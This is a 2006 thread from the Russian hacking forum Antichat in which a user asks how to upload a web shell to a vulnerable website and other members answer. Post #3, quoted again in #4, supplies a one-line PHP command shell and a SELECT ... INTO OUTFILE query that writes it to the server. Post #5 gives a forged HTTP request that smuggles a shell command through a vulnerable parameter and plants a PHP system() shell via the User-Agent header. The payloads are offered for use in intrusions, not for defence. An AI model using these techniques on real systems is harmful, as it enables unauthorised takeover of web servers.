HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
Перезагрузить страницу Заливка shell при помощи потделки Http запроса
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Заливка shell при помощи потделки Http запроса
  #1  
Старый 28.10.2006, 14:56
Dimazzz
Участник форума
Регистрация: 23.11.2005
Сообщений: 179
С нами: 10770849

Репутация: 23
По умолчанию Заливка shell при помощи потделки Http запроса
Огрмная просьба , расскажите о этом способе заливки шела по подробнее никак не могу понять как это сделать. Если кто еще умеет через Sql в админке тоже огромная просьба рассказать. Просто другие варианты отпали.
𝕏 Twitter Reddit Telegram Копировать ссылку
 
Ответить с цитированием

  #2  
Старый 28.10.2006, 16:22
_-[A.M.D]HiM@S-_
Green member
Регистрация: 28.12.2005
Сообщений: 376
С нами: 10719686

Репутация: 1833
По умолчанию
Полноценный шелл залит.
 
Ответить с цитированием

  #3  
Старый 29.10.2006, 08:35
TaNkist
Участник форума
Регистрация: 06.04.2006
Сообщений: 257
С нами: 10577090

Репутация: 76
По умолчанию
Подделка HTTP-запроса:
Может тебе поможет софтина RAW HTTP REQUEST (_h0ld-up-team.net.ru). Это прога отправит пакет, который создает на сервере файл и пропишет в него простой php-шелл.
SQL
Создаешь базу с 1 полем, со строкой:
PHP код:
<?system($_GET)?>
Затем составляешь SQL-запрос:
SELECT <название поля> FROM <Имя таблицы> INTO OUTFILE 'путь к шеллу'
Единственное условие ты должен иметь права на запись в папку, куда собираешься залить шелл.
 
Ответить с цитированием

  #4  
Старый 29.10.2006, 10:38
Sharky
Познавший АНТИЧАТ
Регистрация: 01.05.2006
Сообщений: 1,021
С нами: 10541186

Репутация: 921


По умолчанию
Цитата:
Сообщение от TaNkist  
Подделка HTTP-запроса:
Может тебе поможет софтина RAW HTTP REQUEST (_h0ld-up-team.net.ru). Это прога отправит пакет, который создает на сервере файл и пропишет в него простой php-шелл.
SQL
Создаешь базу с 1 полем, со строкой:
PHP код:
<?system($_GET)?>
Затем составляешь SQL-запрос:
SELECT <название поля> FROM <Имя таблицы> INTO OUTFILE 'путь к шеллу'
Единственное условие ты должен иметь права на запись в папку, куда собираешься залить шелл.
по поводу RAW HTTP REQUEST можно поподробней...как составлять запрос?
 
Ответить с цитированием

  #5  
Старый 29.10.2006, 18:49
TaNkist
Участник форума
Регистрация: 06.04.2006
Сообщений: 257
С нами: 10577090

Репутация: 76
По умолчанию
Примерный запрос
Код:
GET Уязвимый скрипт?Уязвимый параметр=|echo%20$HTTP_USER_AGENT%20>%20путь к шеллу|    
 HTTP/1.1
Host: Уязвимый хост
User-Agent: <? system(GET['cmd']) ?>
 
Ответить с цитированием

  #6  
Старый 29.10.2006, 22:01
S1nt3z
Новичок
Регистрация: 02.06.2005
Сообщений: 21
С нами: 11020753

Репутация: 0
По умолчанию
хы .. можно воспользоваться прогой от отечественного произодителя Antichat
_http://antichat.ru/inetcrack/
 
Ответить с цитированием

  #7  
Старый 30.10.2006, 09:53
Soul Linker
Новичок
Регистрация: 05.09.2006
Сообщений: 15
С нами: 10358222

Репутация: 5
По умолчанию
А вообще есть мануал по разным способам заливки шелла? или их не столь много?
 
Ответить с цитированием

  #8  
Старый 30.10.2006, 10:12
S1nt3z
Новичок
Регистрация: 02.06.2005
Сообщений: 21
С нами: 11020753

Репутация: 0
По умолчанию
Just google it!
попробуй разобраться сам .. больше опыта будет
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Тунель при помощи Php. a33 PHP 33 14.07.2007 21:09
Живые прокси xdx Skype, IRC, ICQ, Jabber и другие IM 111 15.04.2007 13:10



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.